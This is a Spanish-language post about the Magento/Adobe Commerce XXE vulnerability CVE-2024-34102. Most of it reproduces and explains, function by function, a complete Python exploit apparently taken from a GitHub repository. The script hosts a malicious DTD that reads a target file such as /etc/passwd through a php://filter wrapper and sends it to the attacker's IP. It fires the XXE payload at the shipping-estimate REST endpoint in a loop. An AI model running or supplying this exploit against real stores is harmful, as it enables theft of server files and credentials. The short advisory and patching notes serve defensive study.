La vulnerabilidad CVE-2024-34102 afecta a Adobe Commerce y Magento Open Source, y representa una amenaza de seguridad significativa. Permite a los atacantes leer archivos sensibles que contienen contraseñas y ejecutar código de forma remota, lo que podría otorgarles control total sobre la plataforma de comercio electrónico afectada. A continuación, proporciono más detalles sobre esta vulnerabilidad:
- Descripción: Las versiones de Adobe Commerce afectadas son 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 y anteriores. La vulnerabilidad se relaciona con una Restricción Inadecuada de Referencia a Entidades Externas (‘XXE’) en XML, que podría resultar en la ejecución arbitraria de código. Un atacante podría explotar esta vulnerabilidad enviando un documento XML manipulado que haga referencia a entidades externas. Lo preocupante es que la explotación de este problema no requiere interacción del usuario.
- Impacto: La explotación exitosa de esta vulnerabilidad podría permitir que un atacante ejecute código malicioso en el servidor afectado, lo que podría tener consecuencias graves para la seguridad y la integridad del sistema.
- Acciones recomendadas:
- Actualización: Adobe ha publicado parches de seguridad para abordar esta vulnerabilidad. Se recomienda aplicar las actualizaciones correspondientes a las versiones afectadas.
- Auditoría de archivos: Verifique si hay archivos comprometidos o cambios inesperados en los archivos del sistema.
- Monitoreo: Supervise activamente el tráfico y los registros del servidor para detectar posibles actividades maliciosas.
Recuerda que mantener tus sistemas actualizados y seguir las mejores prácticas de seguridad es fundamental para protegerse contra vulnerabilidades como esta.
0x0d3ad/CVE-2024-34102: Magento XXE (CVE-2024-34102) (github.com)
Claro, te explico el funcionamiento de cada parte del script:
Importaciones de Módulos
import requests
import argparse
import re
import os
import http.server
import socketserver
import threading
import base64
import time
from urllib.parse import urlparse
requests
: Para enviar solicitudes HTTP.argparse
: Para manejar los argumentos de la línea de comandos.re
: Para usar expresiones regulares.os
: Para operaciones del sistema, como crear directorios y manejar archivos.http.server
: Para crear un servidor HTTP simple.socketserver
: Para crear y manejar servidores de red.threading
: Para manejar hilos de ejecución.base64
: Para codificar y decodificar en base64.time
: Para manejar operaciones de tiempo.urlparse
deurllib.parse
: Para analizar URLs.
Funciones
log_message
def log_message(level, message):
if level == "error":
print(f"\033[33m[{level.upper()}] {message}\033[0m") # error = amarillo
elif level == "info":
print(f"\033[34m[{level.upper()}] {message}\033[0m") # info = azul
elif level == "warning":
print(f"\033[31m[{level.upper()}] {message}\033[0m") # warning = rojo
else:
print(f"[{level.upper()}] {message}")
- Muestra mensajes en la consola con diferentes colores dependiendo del nivel de gravedad (error, info, warning).
sanitize_url
def sanitize_url(url):
parsed_url = urlparse(url)
host = re.sub(r'^www\.', '', parsed_url.netloc or parsed_url.path)
return host.rstrip('/')
- Limpia una URL eliminando “www.” y cualquier barra al final.
setup_web_server
def setup_web_server(ip, port, path):
web_dir = 'web'
os.makedirs(web_dir, exist_ok=True)
cuk_xml_path = os.path.join(web_dir, 'cuk.xml')
if os.path.exists(cuk_xml_path):
os.remove(cuk_xml_path)
with open(cuk_xml_path, 'w') as file:
file.write(f"""<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource={path}">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://{ip}:{port}/cuk.xml?%data;'>">""")
- Configura un servidor web y crea un archivo
cuk.xml
que se utiliza para la inyección de una entidad XML maliciosa.
start_http_server
def start_http_server(port):
os.chdir('web')
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if "GET /cuk.xml HTTP/1.1" in self.path:
global last_get_request_time
last_get_request_time = time.time()
log_message("warning", "Target connected back to us!")
encoded_data = self.path.split("cuk.xml?")[1].split(" ")[0]
decoded_data = base64.b64decode(encoded_data).decode('utf-8')
log_message("warning", f"Received file contents:\n\n{decoded_data}")
cleanup_and_exit()
elif "cuk.xml" in self.path:
log_message("warning", "Vuln !")
if "?" in self.path:
encoded_data = self.path.split("cuk.xml?")[1].split(" ")[0]
decoded_data = base64.b64decode(encoded_data).decode('utf-8')
log_message("warning", f"Received file contents:\n\n{decoded_data}")
cleanup_and_exit()
super().do_GET()
try:
httpd = socketserver.TCPServer(("", port), CustomHTTPRequestHandler)
except OSError as e:
if e.errno == 98:
log_message("error", f"Port {port} is already in use. Please use a different port.")
cleanup_and_exit()
else:
raise
log_message("info", f"Start HTTP Server on port {port}")
server_thread = threading.Thread(target=httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
return httpd
- Inicia un servidor HTTP que escucha en el puerto especificado. Cuando recibe una solicitud GET para
cuk.xml
, decodifica el contenido y lo muestra.
send_request
def send_request(url, host, ip, port):
full_url = f"{url}/rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods"
headers = {
"Host": host,
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/125.0.0.0 Safari/537.36",
"Content-Type": "application/json"
}
data = {
"address": {
"totalsReader": {
"collectorList": {
"totalCollector": {
"sourceData": {
"data": f"<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://{ip}:{port}/cuk.xml\"> %sp; %param1; ]> <r>&exfil;</r>",
"options": 16
}
}
}
}
}
}
try:
response = requests.post(full_url, headers=headers, json=data, timeout=10, verify=True)
log_message("info", f"Response status code: {response.status_code}")
if response.status_code not in [400, 401, 403, 200]:
log_message("info", "Not Vuln !")
cleanup_and_exit()
except requests.RequestException as e:
log_message("error", f"An error occurred: {e}")
cleanup_and_exit()
- Envía una solicitud POST al objetivo con un payload que contiene una entidad XML maliciosa.
cleanup_and_exit
def cleanup_and_exit():
if os.path.exists('web'):
for root, dirs, files in os.walk('web', topdown=False):
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))
os.rmdir('web')
log_message("info", "web directory and its contents removed.")
log_message("info", "Script ended!")
os._exit(0)
- Limpia el directorio
web
y termina el script.
Función Principal
main
def main():
parser = argparse.ArgumentParser(description='CVE-2024-34102')
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-ip', '--ip', required=True, help='Your IP address')
parser.add_argument('-p', '--port', required=True, type=int, help='Port for HTTP server')
parser.add_argument('-f', '--file', default='/etc/passwd', help='Path to the file to be included in the POC')
args = parser.parse_args()
host = sanitize_url(args.url)
setup_web_server(args.ip, args.port, args.file)
httpd = start_http_server(args.port)
try:
while True:
send_request(args.url, host, args.ip, args.port)
time.sleep(1)
except KeyboardInterrupt:
log_message("info", "Keyboard interrupt received. Exiting...")
cleanup_and_exit()
- Parse los argumentos de la línea de comandos.
- Configura el servidor web y lo inicia.
- Envía solicitudes al objetivo en un bucle, esperando un segundo entre cada solicitud.
Bloque de Ejecución
if __name__ == "__main__":
main()
- Ejecuta la función
main
si el script se ejecuta directamente.
Este script parece estar diseñado para explotar una vulnerabilidad específica (CVE-2024-34102) en una aplicación web utilizando una inyección de entidad XML (XXE) para leer archivos del sistema del objetivo.
Este código es una implementación de un exploit para CVE-2024-34102. Brevemente, aquí está lo que hace el código:
- Importa varios módulos necesarios para la ejecución del script.
- Define una función para imprimir mensajes en la consola con colores diferentes según el nivel del mensaje (error, info, warning).
- Define una función para limpiar y configurar el servidor web para la explotación.
- Define una clase para manejar solicitudes HTTP personalizadas.
- Define una función para enviar solicitudes al servidor de destino.
- Define una función para limpiar y salir del script.
- Define la función “main” que analiza los argumentos de la línea de comandos, configura el servidor web, inicia el servidor HTTP y comienza a enviar las solicitudes de explotación al servidor objetivo en un bucle infinito.
- Llama a la función “main” para iniciar la ejecución del script.
En resumen, el script configura un servidor web, establece un servidor HTTP personalizado, envía solicitudes al servidor de destino con el objetivo de explotar una vulnerabilidad conocida (CVE-2024-34102), y maneja limpieza y salida en caso de interrupción del teclado.
CVE – CVE-2024-34102 (mitre.org)
- 🔍 CVE-2024-34102: En análisis. Información incompleta por el momento.
- 🛡️ Descripción: Vulnerabilidad XXE en Adobe Commerce que permite ejecución de código arbitrario.
- 📊 Métricas CVSS: Puntuación base de 9.8 (CRÍTICA). Referencias disponibles para análisis y soluciones.